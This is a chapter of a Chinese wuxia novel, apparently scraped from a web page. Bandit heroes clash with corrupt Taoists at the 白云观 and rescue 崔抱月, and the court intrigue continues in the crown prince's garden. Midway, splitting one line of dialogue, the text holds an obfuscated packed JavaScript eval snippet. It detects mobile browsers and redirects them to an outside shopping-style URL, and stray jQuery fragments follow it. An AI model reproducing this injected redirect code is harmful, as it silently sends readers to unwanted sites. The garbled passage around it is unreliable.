正闹得不可开交时,忽然听到门外一阵鼓乐齐鸣——有唢呐有胡琴有锣鼓铙钹,简直比人家娶媳妇还要热闹,迎鹤馆里的众人不由都朝外看去,就见吹打班子开路,符咒布幡飘扬,又来了一队道士,先有两列青衣小道士打头,后面神气活现一个黄衣中年道人,脸扬得对面的人只能看到他的鼻孔。 看到牛逼就不顺眼,猴老三巴不得巷子里可以蹿出一条狗来,他好驱使着去咬着道士一口。不过人群密集——里面吵架的和外面围观的,再加上这一队道理,迎鹤馆门口水泄不通,就算是有恶狗,也挤不进来。 黄衣道士来到了迎鹤馆中,将拂尘一甩:“无量寿佛!诸位道友有礼!” 迎鹤馆的管事人从早晨到现在一个脑袋已经变了两个大:“道长,我要先问过了礼部才知道你们能不能住在这里——就算礼部说可以,我这里也住不下了,所以……” “无量寿佛!”那黄衣道士打断了,“贫道胡奉玄,乃是三清天师的师弟。这里是皇上手谕——凡参加斗法大会的能人异士皆由迎鹤馆负责接待,不得有误。”说时,果然拿出一封圣旨来了。在场的无论有关无关,赶紧跪下。杀鹿帮一行所喜躲在后堂才免了这羞辱。邱震霆啐了一口:“跪猪跪狗也不跪着王八蛋皇帝!” 既然有圣旨,迎鹤馆的管事人也不好再阻拦,那些官员们即使口中嘀嘀咕咕地咒骂,还是不得不回去收拾东西准备搬去别家。邱震霆啐了一口:“他娘的,老子偏不搬,倒看看这牛鼻子能把老子怎样!” “大哥!”辣仙姑劝道,“咱们是太子的客人,如果和妖道的人起了冲突,他们必然要把账算在太子和程大人的头上。来硬的岂不是给人家添麻烦么?” 邱震霆一想,的确有理。“不过这帮牛鼻子实在可恶!咱们左右无事,就算不能帮程大人除掉妖道,想办法教训教训他们也是好的。” “就该这样!”管不着道,“老五,上次樾国那臭丫头在棉衣上下的痒药你能配出来么?咱们现在就去每一间房的铺盖上下药。” “一时之间我上哪里去配那个?”辣仙姑道,“但是假如二哥你妙手空空可以偷一罐蜂蜜,然后每张床的枕头下面涂一点,满床蚂蚁也够他们施展半天法术的了。” 管不着拍手叫好,立刻就办。其余人就回去收拾行李。不久,管不着把所有的床铺都处理了一回,回来和众兄弟会合,出去另投客栈。 他们离开迎鹤馆的时候,见胡奉玄一行也浩浩荡荡要走。但是看方向却不是去往皇宫。邱震霆等人互相望了望:莫非妖道在京城还有别的巢穴?几人心里都有默契:左右无事,且跟去瞧瞧! 于是就远远地跟着那一队耀武扬威的人马,不时出了京城,来到了西郊的龙源山——这山其实是忘忧川的发源之地,而忘忧川又横贯京城,因此该山得名“龙源”,在山间泉源之处还有楚太宗皇帝的题字。可是今日到了这里,却见山下一座新修的宏伟山门,上面写着“白云观”。 “他娘的,原来牛鼻子们也占山为王了!”邱震霆道,“这哪里还有天理?” “可不是!”猴老三道,“占山为王是咱们的本行,他们占了皇宫不说,又到咱们的行当里横插一脚。” “嘻!”辣仙姑笑道,“皇帝本就是个草包,所以牛鼻子才能占了他的皇宫。但是论到做山贼,牛鼻子如何是咱们的对手?给他点颜色瞧瞧!” 大家知她足智多谋,多半已经有了打算,于是就听她安排。辣仙姑因让大家聚首过来,如此如此这般这般地讲了一回。众人皆拍手称妙,于是从包袱里取出最体面的衣服来换上——辣仙姑和猴老三扮成富商夫妇俩,邱震霆因为身材魁梧,所以扮成个保镖,管不着是帐房,而大嘴四因为能说会道,就装是个二老板,专门和人谈生意。五人假装游山玩水,迤俪上了龙源山。 没多时就看到了白云观。在绿树掩映中,飞檐如鸟翼般斜插出来,再行近些,便可看到新粉的墙壁,一带白石墙裙,下边的杂草拔得干干净净——不过几处基石上分明地凿着“祈星阁”的字样,原来这里本是历代楚国皇帝斋戒沐浴等待钦天监观测星辰预告来年吉凶的地方,竟然也被元酆帝赐给了胡喆的党羽。这位天子的昏庸可见一斑。 不过杀鹿帮的人却不晓得其中细节,径直上前意欲进观。不过门前的小道士却把他们拦住了:“几位施主有何贵干?” “来到了这里,自然是来烧香的。”大嘴四天花乱坠地吹嘘“他家老板”怎么信奉太上老君,怎么要为道观捐钱,等等等等。一边说,众人一边朝门里望了望:恁大的道观竟没有一个前来参拜的人,实在有点古怪。 看得出那小道士压根儿不想让他们进去,不过五个人又说有笑的同时,就渐渐朝内逼近,等小道士发觉时,他们已经到了观中。小道士无法,只有调头抛开去找人。而杀鹿帮的豪杰们就四下里打量。 院当中一个黄铜镏金大香炉。管不着神偷圣手,见过的宝贝多了,瞧着香炉有一丈多高,金灿灿地耀眼,暗道:这得镀了多少金子上去?昏君有钱给道士,还不如给我们杀鹿帮的弟兄! 辣仙姑也注意到这香炉了,内中清烟袅袅,不是一般檀香发味道,皱着鼻子吸了两下:倒也不像是有毒,但就是不知烧的是什么。 邱震霆正有保镖的架势,负着手周围观望,就看到胡奉玄从太极殿侧的耳房里绕了出来,朝他们拱手道:“无量寿佛,居士们纳福。蔽观本来不接待外人,但几位虔心来此,请到后面用茶吧!” “当家的,”辣仙姑推了推猴老三,“人家这是找咱们化缘来了呢!” 猴老三才“哦”了一声,那边大嘴四已经一锭银子递了过去——是五十两的,猴老三看得直心疼。辣仙姑就暗暗踩他一脚,低声道:“不成才的,你现在是扮阔老儿,难道给人家几个铜板不成?” 胡奉玄看了银子,态度稍微稍微好了些。不过显然他因着胡喆的关系已经从元酆帝处得了不少的好处,兵部稀罕这区区五十两。他向众人报上道号,大嘴四也胡编乱造地介绍,说他家老爷叫“李劳枝”,他是二掌柜叫“李劳叶”,什么“兄是枝弟是叶”,兄弟同心,创下一番事业好比大树好遮荫,云云,实际是背地里做人家“老子”“老爷”占便宜。胡奉玄也没听出来,攥银子在手,把几人引到后面用茶。 邱震霆故意落在后面,跟管不着低声道:“你且瞅个空儿,看看各间房里有什么古怪。” 管不着手痒都一个多月了,哪还要大哥吩咐。找个小道士问茅房在哪里,便闪开一边去了。 余下四人都跟着那胡奉玄来到后面——这个庭院,比起竣熙的东宫花园来竟毫不逊色,有亭台楼阁池塘假山——塘上还修了九曲桥,连着个八角凉亭。胡奉玄把四人引到凉亭里坐。不时,有小道士奉上茶来,清香四溢。但辣仙姑警醒,微微笑着,道:“风景很好,茶就不用了。我们老爷挑剔得很,从不喝外人的茶。”众人经她一提醒,也知道是怕人下药,纷纷笑着附和。 胡奉玄并不勉强,陪坐一边同他们闲聊。大嘴四试着套他的话,但除了知道他过去和胡喆在东海修道之外,一点儿疑点都问不出来。反而胡奉玄一时问他们做的是什么生意,一时又问他们到凉城来干什么,还扯起这个“社会”那个“道场”——邱震霆深知大嘴四当时说的虔心信奉,不过随口编造,若这样盘问下去,恐怕露出马脚——留着这道士在此碍事!他使了个眼色。大嘴四就道:“呵呵,道长请自便,我们就在这里清静清静。” 胡奉玄点了头,瞥了他们一眼,转身欲走。而这时,就见开头的那个小道士慌慌张张地跑了过来,大叫道:“师父,不好了!不好了!” 邱震霆等四人心里都是一凛:莫不是管不着长久不干那勾当身手变差了,已经被人发觉?那可就要准备动手了。大家都暗暗准备拉架势。 胡奉玄问:“什么不好了?” 小道士道:“外面来了个恶女子,要寻咱们的晦气呢!” 胡奉玄道:“还有这种事?”因对邱震霆等道:“失陪,贫道看看再来。”即匆匆而去。 杀鹿帮诸人相互望望:什么恶女子?咱也瞧瞧去!便跟在胡奉玄后面,绕回太极殿前来。 果然老远就听见女人的声音了:“你说你这里是清修之地,不做污秽之事,为什么不准我搜查?若是心里没鬼,让人看看又有何妨?” “呵!”大嘴四已经听出了这是崔抱月的声音,笑道,“这婆娘果然够恶,嗓门儿快赶上咱大当家了!” 辣仙姑却听出玄机:“崔抱月会到这里来,显见这道观有古怪。咱们看看去——反正大家都来看热闹,二哥也不用怕被发觉。” 大家走到前院,果然见到陈国夫人的崔抱月,手持长剑,后面跟着十来个乡民,个个怒视着胡奉玄。后者却是泰然自若的模样:“无量寿佛,既然是清修之地,怎容你们刀枪棍棒地胡闹?” 崔抱月柳眉倒竖:“呸!睁着眼睛说瞎话!这些乡亲们的女儿被你们观里的道士绑了去。你这是什么清修之地,我看就是贼窝!” 胡奉玄道:“女居士不可含血喷人。说贫道的徒儿绑了人家的女儿,人证何在?物证何在?拿不出来,贫道可不能容你们玷污这清净地。” 乡民们怒道:“闺女们都是在你们道观附近失踪的。”还有一个道:“我女儿跟我上山打柴,我一转头,她就不见了。我分明看到一个道士慌慌张张溜走。追他没追上,但亲眼见他跑进这白云观来了。你们还要抵赖?” 胡奉玄道:“无量天尊!你休得胡言。只凭你一人眼花,就诬赖他人。要是今天容你们搜查,那就亵渎神灵。徒儿们何在?给我摆出阵来!” 他一声令下,太极殿内跑出三十多个小道士——手里拿的可不是桃木剑,寒光闪闪,真是杀人的利器。脚下“啪啪啪”跑得迅速,霎时就围着崔抱月摆起了八卦阵。乡民们有扛着锄头要上来帮忙的,被崔抱月喝住了:“大家退后,看我来收拾这些贼道士!” 胡奉玄冷笑道:“口气还不小,倒看看今天是谁收拾谁!”说时,手一挥,随着他袍袖“呼”地一声,小道士们手中的剑就齐唰唰一抖,龙吟嗡嗡,万朵剑花朝崔抱月攻了过去。 崔抱月毕竟是女镳师出身,功夫可不含糊,长剑指东打西,指南打北,“呛呛呛呛”兵刃相交之声不断,将攻到自己近前的杀招尽数化解。接着,人在原地一转,长剑画了一个圈儿,将身边的小道士逼退了,冷冷道:“这都要杀人灭口了,还说不是贼窝?” 胡奉玄道:“人不犯我,我不犯人。你上门挑衅,贫道哪有任你摆布的道理?徒儿们,不要怕这恶妇,快快摆出‘三十六天大阵’!” “三十六天大阵?”邱震霆莫名其妙,“这是个什么玩意儿?” 辣仙姑、猴老三和大嘴四皆不知道。其实若公孙天成在此,就可告诉他们,这无非是道家对于仙界的传说罢了,三十六天指的是“圣境四天”“四梵天”和“天界二十八天”。“圣境四天”分为“大罗天”、“玉清境清微天”、“上清境禹余天”和“太清境大赤天”;“四梵天”则分为“贾恋天”“梵度天”“玉隆天”和“常融天”;至于那“天界二十八天”又有“无□□四天”“□□四天”“欲□□四天”,繁复无比——说白了,就是道家神仙依据品级居住的场所。这个“三十六天大阵”应该就是从道教修炼传说中演化出来的。 不过正是因为杀鹿帮人皆不知道其中奥秘,看到胡奉玄口中念念有词,便有些惊异。崔抱月在圈中只见小道士们一边念咒,一边忽左忽右忽进忽退,好像在做法一般,不晓得这搞的什么名堂,提剑准备后发制人。 邱震霆看得一跺脚:“他娘的,虽然这姓崔的女子臭脾气有些讨厌,但她替这些村民出头,总算有份侠义心肠。咱们杀鹿帮也没有见死不救的道理。待俺来助她!”说着,爆喝一声,振臂跃入战团去。 这可急坏了辣仙姑:虽然他们乔装打扮而来也不过是为了暗中捉弄捉弄胡奉玄。不过既然道观大有古怪,也许可以找到什么罪证将胡喆也一并扳倒了。如今动起手来,再要调查就困难了。 她思念间,邱震霆已经来到了崔抱月的身边,大掌一伸,就把跟前一个小道士的手腕拿住了,一使劲儿,将人家手里的剑夺了下来,噼里啪啦一阵打,将旁边的几个小道士都逼了开去。小道士们都被这突如其来的事件惊呆了。只听邱震霆骂了一句:“娘的,这玩意儿不趁手!”就又把长剑丢开了,赤手搏击。 胡奉玄瞪着眼睛:“这……这……” 辣仙姑晓得非赶快圆谎不行,急忙好整以暇地走上了前去,道:“哟,这就是他看中的那个姑娘么?没想到咱们阿黑不声不响,竟喜欢泼辣的!” 胡奉玄盯着她:“这是什么意思?” 辣仙姑笑道:“道长方才不是问我们为何来到京城么?我们是来做生意的不错,可是生意早就做完了,我家这保镖阿黑却老是找借口不肯走。我们二叔套了他半天话,才知道他是看中了京城里的一个姑娘,究竟姓甚名谁就不得而知了。今天看他这架势,想来看中的就是这个泼辣女子。在道长的宝地成就一桩美满姻缘,这功德可大了!” 胡奉玄一听:这叫什么理由?可辣仙姑笑盈盈的,一点儿也不像撒谎的样子。那边邱震霆拳头虎虎生风,不多一刻就把“三十六天大阵”打了个七零八落。他就有心把辣仙姑怎样,也不敢轻易下手。 这时,崔抱月也认出邱震霆来了,两人从平崖一路南下,途中争执不断,是老冤家了,这时怒道:“你这山贼,到这里来搅什么局?” 邱震霆道:“少罗唣,俺来帮你的。”说时,手上仍旧不停,不断地将小道士的长剑缴下来,边缴边扔,满天白光乱舞,都飞出了院墙外。 崔抱月不领她的情,道:“谁要你帮?一边呆着去,别碍手碍脚的!” 邱震霆可是好久没和人痛痛快快地动手了,才不理会崔抱月,兀自抢夺小道士的兵器。 胡奉玄越看越觉得辣仙姑的解释是胡掐,气急败坏道:“各位居士,你们到蔽观来究竟有何企图?蔽观跟你们往日无怨,近日无仇,你们如何伙同这恶女子上门滋事?若再这么胡闹下去,贫道可要报告顺天府了!” 报官?辣仙姑心中闪了一下:原来的戏现在已经没法再唱下去,与其拖得久了,被他们怀疑到程大人头上去,还不如就赖在这个姓崔的女人身上,再做其他打算——反正,若不是她突然杀出来,也不会破坏了咱的计划! 想着,她劈手朝胡奉玄的脖子上砍了过去。这道士不知她突然发难,赶忙闪避。而辣仙姑晃的却是虚招,把胡奉玄骗过之后,她即呼道:“大哥,这伙道士太难对付,我来帮你!”便也跃到圈中去了。 邱震霆不知她用意,自己正打得畅快,好是奇怪。而辣仙姑凑到跟前,低声道:“大哥,别给程大人添麻烦。假装落败,一等到二哥出来,咱们就先撤!” 邱震霆一愣,明白了过来,直恨自己逞一时英雄误了大事。当下,接连晃了几个虚招,仿佛不敌,其实却步步朝门口退去。 辣仙姑朝猴老三和大嘴四叫道:“你们两个是木头么?还不快来帮忙?” 两人听言,也呼啸一声,跳到圈中。 胡奉玄只道他们真和崔抱月是一伙,也顾不上考虑为何邱震霆突然功夫变差了,只狞笑道:“好哇,早就觉得你们古怪,果然来者不善!徒儿们,不要怕他们!恶贼气数已尽,给我统统拿下!” 小道士们被邱震霆一通乱打,晕头转向,听着师父在后吆喝,又觉眼前多了这么些人,只道若是不拼死打,恐怕就要没命,纷纷向杀鹿帮诸人围拢。崔抱月恐怕乡民们受了拖累,高声呼道:“各位乡亲,快快离开!”心中又恨邱震霆等横插一脚,坏她大事,对杀鹿帮诸人怒目相向:“你们这些土匪,究竟有何企图?” 可不能跟她打起来!辣仙姑想,那样就彻底穿帮了! 正着急呢,见太极殿顶上一人身轻如燕,飞奔而来,正是管不着,显然是听到了前面的动静就赶来了。辣仙姑大喜,呼道:“弟兄们,这些牛鼻子够厉害!好汉不吃眼前亏,咱们先闪!”话音未落,她自己已率先纵上墙头。 猴老三和大嘴四紧跟在后。管不着也顾不上问缘由,见动上了手,大家又撤了,他自然也跟着先撤了再说。这是几位金兰兄弟多年来的默契,勿须言语。 邱震霆当然也要跟着弟兄们走了,只是旁边崔抱月还挥剑和小道士缠斗不休。丢下她不管,可不是好汉之所为。他即骂了一声粗话,把崔抱月的胳膊一拉,道:“跟我走!”同时一脚后踹,把个挡住去路的小道士踢得飞了出去,自己也闪身出了观门。 众人跑出了一段路,并不见白云观的道士追来,才停下歇歇脚。 崔抱月满面通红,尽是怒气:“狗土匪,还不快放开姑奶奶!” 邱震霆才意识到还拉着人家的胳膊呢,当即松开了手,道:“娘的,以为老子喜欢拉着你。要不是老子看不惯男人欺负女人,才懒得理你的死活。” 现在不是吵架斗嘴的时候,辣仙姑连忙插嘴打断:“大哥,别和她一般见识啦。她搅了咱们的事儿,咱们却帮了她,让她一边儿清醒清醒去。咱们走咱们的。” 可崔抱月却不罢休:“你们的事?你们这伙土匪又能有什么正经事?” 邱震霆见她好歹不识,恼道:“不要左一声‘土匪’右一声‘土匪’。爷爷现在虽然还没有封官,但是只要俺想,明天就叫太子给俺封一个。你赶紧尊俺一声‘邱大侠’、‘邱帮主’,要不迟了,就叫叫俺‘邱大人’了。别以为俺不打女人,你就无法无天!” 崔抱月本来仗义替乡民来找女儿,被搞得这般狼狈,一肚子火也没处发,指着邱震霆骂道:“拿着鸡毛当令箭,三分颜色你就开染坊。你们这群土匪跟贼道士们混在一处做什么勾当我没工夫烦!不过乡民丢了女儿的事我揽下了,你们要再来阻挠,别怪我不客气!” “你这婆娘还跟老子嚼文!”邱震霆怒道,“你要充好汉你就充去,老子才懒得管你。不过,老子和弟兄们也有正事要办,你要捣乱,老子也不跟你客气!” 崔抱月“哼”了一声,竟提着剑要往回走。 辣仙姑一看:这还了得!忙上来道:“崔姑娘,有话好说。这些道士这样凶恶,肯定不简单。还是要先查清楚他们的底细……” 崔抱月眯起了眼睛,冷笑道:“查!查!查!乡民们的话是错不了的!那些姑娘一定是被白云观的贼道士抓了去。等你们查出来,姑娘们还不知道怎么样了。你们打着侠客的招牌,却不做行侠仗义的事——简直跟牛鼻子没什么区别!” “你说什么!”邱震霆怒喝了一声。 崔抱月把眼一瞪,却不惧他。 辣仙姑真是既着急又好笑:邱震霆是个爆脾气,谁对他好,他就对谁好,在山寨里是老大,弟兄们对他佩服,没有敢当面顶撞的。自从遇上个不讲理的崔抱月,就吵闹个没完,如今这样,要吵到哪一年去? 便这时,管不着挥着手道:“先停一停,听我说一句再闹——你们知道我在后面都找到什么了么?” 崔抱月不以为然,余人都问:“什么?” 管不着嘿嘿一笑:“也没什么,牛鼻子们挺阔绰的,每个房间都熏得香喷喷的,床上褥子、帐子,窗户上的帘子,都是锦缎的,嘿,想我光顾过不少大官儿的家里,就他们那大老婆小老婆的房间也没这么漂亮呢!” “这有什么稀奇?他似乎胡喆的师弟,这里原本又是皇家园林,无论怎么奢华都比奇怪。”崔抱月道,“不过我知道他们必然在干见不得人的勾当!我就是拆了他们的道观,也要把姑娘们找出来!”说时,又要朝回走。 “你等等!”管不着袖子一摔,也不见他怎么伸手抬脚,崔抱月手里的剑就被他拿了过去,“听我说完——女人家这么风风火火的,能成什么事?好好儿向咱们老五学学!” 崔抱月怒不可遏,劈手来夺剑。邱震霆实在看着她心烦,一掌拍过去,正打在她肩头,同时拿住她云门穴和中府穴。“臭婆娘!”他骂道,“叽叽喳喳没完,耳朵都叫你吵疼了,你是非要叫我破戒打女人么?老老实实先听我二弟说完!” 崔抱月虽然生气,但动弹不得,憋红了脸。 管不着接着说道:“房子里还有不少好东西,这我也看得多了,不稀罕。后来到了一间大房,想来就是姓胡这牛鼻子的卧室了,我得到一件好东西!” 辣仙姑问道:“是什么?” 管不着从袖子里抽出一本册子:“老五,你还是闪一边去,这可不该你看。” “为什么?” 辣仙姑才问,猴老三和大嘴四两个早已凑上去看了。管不着把册子打开,两个男人脸上就都露出了古怪了表情。 邱震霆嘟囔声:“啥名堂,老子来……”伸头一瞥,也张大了嘴,说不出话。 崔抱月因被邱震霆制住,离得很近,好奇地瞥了一眼,立刻脸红到了耳朵根,怒斥道:“好下流,你们这群淫贼!姑奶奶和你们拼了!”扭过头来,就朝邱震霆的手腕咬了下去。 邱震霆身手了得,可不会被她咬到,手臂稍一使劲,就把她的人在原地转了一圈,接着反剪了两手:“呸,什么玩意儿,臭婆娘,爷爷才懒得碰你!爷爷更不是淫贼。他娘的!” 几个男人散开了些,辣仙姑才得到跟前来。管不着还来不及合起那册子,被她一呆板抢了过去。只看一眼,她的脸也红了——这不是一本春宫么!真是要死!窘得不行,只有找她男人出气,上前拧了猴老三的耳朵道:“看!看!看!我让你看!” 猴老三“哎哟”直讨饶。邱震霆、管不着和大嘴四都哈哈大笑。 只崔抱月还骂道:“你们倒有功夫开心!这白云观分明就是一个淫窝,这些道士肯定都是采花贼。你们不去救那些姑娘,接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728612|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着在这里胡闹吧!看将来老天报不报应你们!” 大嘴四看这女人实在是一本正经得有趣,忍不住耍她道:“你一个大姑娘,懂得咱汉子们的心思么?世上的男人没一个不好美色的,一般人好就好了,找个女人就行。和尚道士可就麻烦了,要不就得做花和尚,淫道士,当真藏个情妇,要不,就只能拿了春宫过干瘾。嘿嘿,这过干瘾的是好人,寻不找春宫的,那才真是淫棍!” 崔抱月被他激得更加生气,若是能自由活动,就要把他踹成肉饼。猴老三听兄弟玩笑,忘了疼,也跟着嘿嘿直乐,辣仙姑见状又发力狠拧他的耳朵:“好哇,你也好美色是不是?我不见你藏这脏东西,想来你是在外面养了情人了?” 猴老三这下“嗷嗷”惨叫:“我怎么敢呐!老婆你不就是美人么?”这一句话,才把妻子逗乐了。 笑了一阵,邱震霆道:“好了,好了。反正这白云观不是个正经地方。他们在绑架小姑娘也好,跟那妖道一起做什么坏事也好,咱不能看着不理。尤其是,这小姑娘若真落在他们手里,还不知道要出什么事呢。咱得回去看看。” 崔抱月这才觉得这土匪说了句“人话”,因道:“正是要回去看看,先把那些姑娘救出来要紧。” “可现在是光天化日,”辣仙姑道,“方才咱们又和道士们打了一架,他们一定加以防范,再要闯进去,恐怕没什么好处。不如等到天黑。” 余人都觉有理。崔抱月仔细想了想,也不能反对。 辣仙姑道:“既然这些道士都是胡喆一党,咱们方才这一闹,也不晓得他们会不会去搬救兵。还是告诉程大人,让他在城里有所准备——妖道一有动静,就正好也将他拿下” “程亦风?”崔抱月皱着眉头,“他能干什么?”其实嘴里这样说,她对程亦风这个书生的印象已经有所改变——大青河之前,她只将此人称为“书呆子”,战后才愿意连名带姓地称呼。 邱震霆却以为这女人又发起那自高自大的毛病,懒得理会她,只道:“老五,就你和老三夫妻俩去吧。妖道敢玩花样,有俺在这里等着他!” 猴老三和辣仙姑便马不停蹄地回去找程亦风,然而却扑了个空,连公孙天成也没见着——他二人被竣熙请进宫去了。 自然是因为迎鹤馆的风波了——许多官员被赶了出来,心有不甘因此到礼部抗议,而礼部也扛不住这么大一件事,无奈之下,只有来报告竣熙。演见着父亲将要成为五湖四海的笑柄,竣熙一筹莫展。 程亦风也毫无对策。虽然公孙天成说回来程亦风身边时为了帮他解决胡喆并促成大青河和谈,但老先生也一反常态地半条主意也不出,因此上,三人相对只是沉默。这样越坐越心烦,越烦就越疲惫,竣熙终于忍不住站起身来,吩咐在东宫花园里摆上茶点,先休息休息再继续。 此时的东宫花园,春花落尽,已全然是夏日的景观——芭蕉成荫,蔷薇绚烂,池塘中的荷花也亭亭玉立含苞欲放。大家走到凉亭中坐下,发现被梅树环抱。这年不知何故梅子熟得迟,现在还是青的,不过看来煞是可爱。让人沉重的心情稍稍舒缓。且就在这个时候听见花丛深处传来一阵悦耳的歌声。唱歌的女子嗓音甚是清丽,这歌曲的调子又十分婉转,伴着花香随风而来,让人感觉是处身世外桃源。程亦风不由心里暗暗赞叹。要侧耳细听那歌词,却不知是什么方言,连一个字也听不懂。 竣熙自然也听到歌声了,笑了笑,道:“此间没有外人。那是凤凰儿。”说着,伸手拨开了梅枝,程亦风看见远处盛放的蔷薇中,西瑶少女凤凰儿正独自嬉戏,一身嫩黄色的衣裙在阳光下仿佛闪闪发亮,乌云似的秀发本来可能梳成了牡丹髻,但嬉耍时都松开了,几支灿烂的蔷薇随意地簪在发间——程亦风久违的灵感这才回来,脱口道:“真是‘钗边烂漫插,无处不相宜’啊!” 自上次竣熙在奉先殿救了凤凰儿之后,这一对小儿女就在东宫里渐渐相熟了起来。虽语言仍不大相通,但竣熙少年英俊,温文尔雅,凤凰儿窈窕明丽,小鸟依人,两人之间倒也无须言语。有时竣熙吹箫,凤凰儿就随乐而舞,有时竣熙抚琴,凤凰儿又用西瑶土话即兴和曲而歌,竣熙读书,凤凰儿就在一旁剪烛花,竣熙画画,凤凰就在案前看着,甚至还时不时顽皮地添上一两笔——若问竣熙贴身伺候的太监就会知道,有一次太子和凤凰儿在书房里拿墨汁颜料闹了起来,两人的脸都弄得像花猫。 少年情事,正如这初夏的花园,烂漫无比。 竣熙此时听程亦风赞美凤凰儿,心里甜蜜得紧,遥遥地朝心上人招了招手。凤凰儿见到了,就翩翩地跑了过来,渡柳穿花,正似仙子下凡一般。到了跟前,她才见有旁人在,灵活的眼睛显出羞赧之色,垂下头来,偷偷看着竣熙。 竣熙眼中无限温柔,介绍道:“这位程大人,这位公孙先生,你都见过了。” 凤凰儿点点头,只抿着嘴轻轻笑,却不打招呼。 竣熙就道:“程大人、公孙先生请多包涵。本来想叫符姐姐教她些宫里的规矩,但符姐姐说本真自然才好,硬是不肯教,让二位见笑了。” 呵!程亦风想,这话也只有符雅才说得出来,成日陪在皇后身边,却敢轻看宫里的规矩,这凤凰儿和太子殿下如此要好,将来做了太子妃,难道不需要学礼节么?可想到这里,他心中又是一阵忧郁:凤凰儿这样来路不明的姑娘,怎么可能成为太子妃呢?唉,人说少年情事老来悲,不无道理啊! 若说少年情事,他那个不知姓名的梦中女子,如今在做些什么呢? 竣熙和凤凰儿到了一处,周遭的一切就好像都不存在了,自然不会注意到程亦风走神。他只看凤凰儿在花丛里玩得野了,衣服上沾了草叶,就帮她拈下来。凤凰儿则伸手摘下几颗青梅,要竣熙尝一尝。 “真酸呐!”少年皱起了眉头。凤凰儿就咯咯咯地笑了起来。 两人正在这里柔情蜜意玩的开心,忽然□□上匆匆奔来一个人。程亦风坐得正对那方向,看得分明,这是符雅。 “符小姐,你……” 还不及招呼,符雅已跑到了跟前,上气不接下气的,也顾不上跟竣熙行礼,只道:“殿下,不好了,丽贵妃带着许多人往这边来了!” 竣熙一愣:“她来做什么?” 符雅道:“我是哪一家的牌位,敢挡贵妃娘娘的驾问三问四?我从皇后娘娘那里出来,路过景阳宫门口,听她吩咐摆驾东宫,看她带了许多年轻强壮的太监,肯定没安什么好心,这就赶紧来给殿下报信了。” “我这里能有什么?”竣熙莫名其妙。 符雅跺着脚:“我又不是神仙,总之防着她些好呀。再说,不是还有凤凰儿么!我的小祖宗,你可不能叫丽贵妃抓着什么把柄!” 竣熙一拍脑袋:“哎呀,我可不是糊涂了。符姐姐,你带凤凰儿到什么地方去避一避?” 符雅道:“我可不就是来替殿下办这事儿的么?”说时,对凤凰儿讲了几句西瑶话,凤凰儿初时十分害怕的样子,后来才镇定了下来,点点头,示意符雅前面带路。 竣熙看她俩离去,还有些依依不舍,直到两人的身影完全消失,这才回过身来,发牢骚地嘟囔了一句:“老这么偷偷摸摸的,什么时候是个尽头?” 公孙天成笑了笑:“小不忍则乱大谋,殿下终有登基为王的一天,等到那时候,一切不就迎刃而解了?” 竣熙小大人似的叹了口气,无奈道:“也只好如此,丽贵妃不能把我如何,但是凤凰儿要是落到她手里,那就……咱们且宽坐,看看丽贵妃究竟找我什么事。” 大概太子还没意识到丽贵妃想让自己的孩子入主东宫,程亦风想,不要出了纰漏,还是留下来给太子保驾。他看看公孙天成,似乎也是同样的打算。 而君子嘴里说“宽坐”,心思却被心上人带走了,呆呆地望着桌上剩余的青梅出神,不过五、六颗,数过来又数过去。 公孙天成呵呵一笑:“青梅吃起来虽酸,但是下酒却是另一种滋味,殿下可要试试么?” 竣熙被他唤回了神,道:“我看诗中常有‘青梅煮酒’,想来是不错的,倒没有尝试过。”便吩咐太监道:“听见未?拿酒来。” 太监应声即去,竣熙被公孙天成打岔儿提起了话头,道:“先生,古人‘呼煮酒,摘青梅’,可论天下英雄。莫非先生是要点评天下英雄么?” 公孙天成拱手道:“岂敢,岂敢。老朽一介布衣,今日能出入禁宫已经是侥幸,若妄谈天下英雄,岂不是要被人笑掉大牙?” 程亦风很喜爱听公孙天成谈古论今,自从平崖的分歧之后,两人已经许久没有自在地闲聊了。而眼前的烂摊子收拾好之后,恐怕就永远不会听到老先生指点江山了吧?他因笑道:“公孙先生这是说的哪里话?曲子里不是唱么:‘江中斩蛟,云间射雕,席上挥毫。他得志笑闲人,他失脚闲人笑。’英雄不是人人做得,不过却是人人都可笑谈的。” 竣熙听了,笑道:“程大人就是拿自己开胃了——你不就是落雁谷和大青河的英雄么?” 程亦风最怕人家提这个:“落雁谷狼狈逃窜,臣没做‘狗熊’,已要谢天谢地。大青河的英雄嘛,臣看易水寒易副将可以算得一个,邱震霆邱大侠和他的一帮弟兄也都算得,却没有臣的事。” 竣熙道:“程大人过谦了。你虽不曾上阵杀敌,但是运筹帷幄,保我天朝寸土不失,正是人人景仰的英雄。” 程亦风连连摇手:“这要折煞臣了,其实是事……”差点儿就把公孙天成的功劳给抖出来。 而公孙天成适时一笑,道:“要老朽说,在大青河只有邱大侠等一班好汉是英雄,旁的都不能算。” 竣熙诧异:“怎讲?” 公孙天成道:“程大人是兵部尚书,又是军中主将,运筹帷幄是他份内的事,易副将虽然当时还职位卑微,但也是一个士兵,斩杀敌人是士兵份内的。做自己该做的事,怎么能算是英雄呢?若不然,岂不是种地的农夫,打渔的渔夫,砍柴的樵夫,读书的秀才——甚至,卖笑的娼妓都要算是英雄了么?所以说,唯有邱大侠和他身边的一班绿林好汉,本可在山野逍遥,可他们却不顾惜自己的性命,在远平城重创玉旒云的先遣,做了自己份外的事,才是英雄。” 竣熙和程亦风都是一愕。 公孙天成接着道:“不过,无有规矩不成方圆,天下之所以成天下,就是因为有纲常伦理,每个人都有每个人该做的事,而且大多数人就应该做那份内的事。大多数不做份内事,却做份外事的,都是鸡鸣狗盗之徒,该当杀一儆百。只有做好了份内事,再做份外事,造福黎民,保守社稷的,那才是英雄。” “先生说的果然有理!”竣熙点头。 可公孙天成还未说完:“但也不是所有既做份内又做份外事的都是英雄——比如那弄权的宦官,干政的外戚,拉帮结派的大臣——那是祸国殃民的罪人。还有,穷兵黩武的将领——在保家卫国之外,又生出侵略他人的野心,那就是枭雄,不是英雄。” 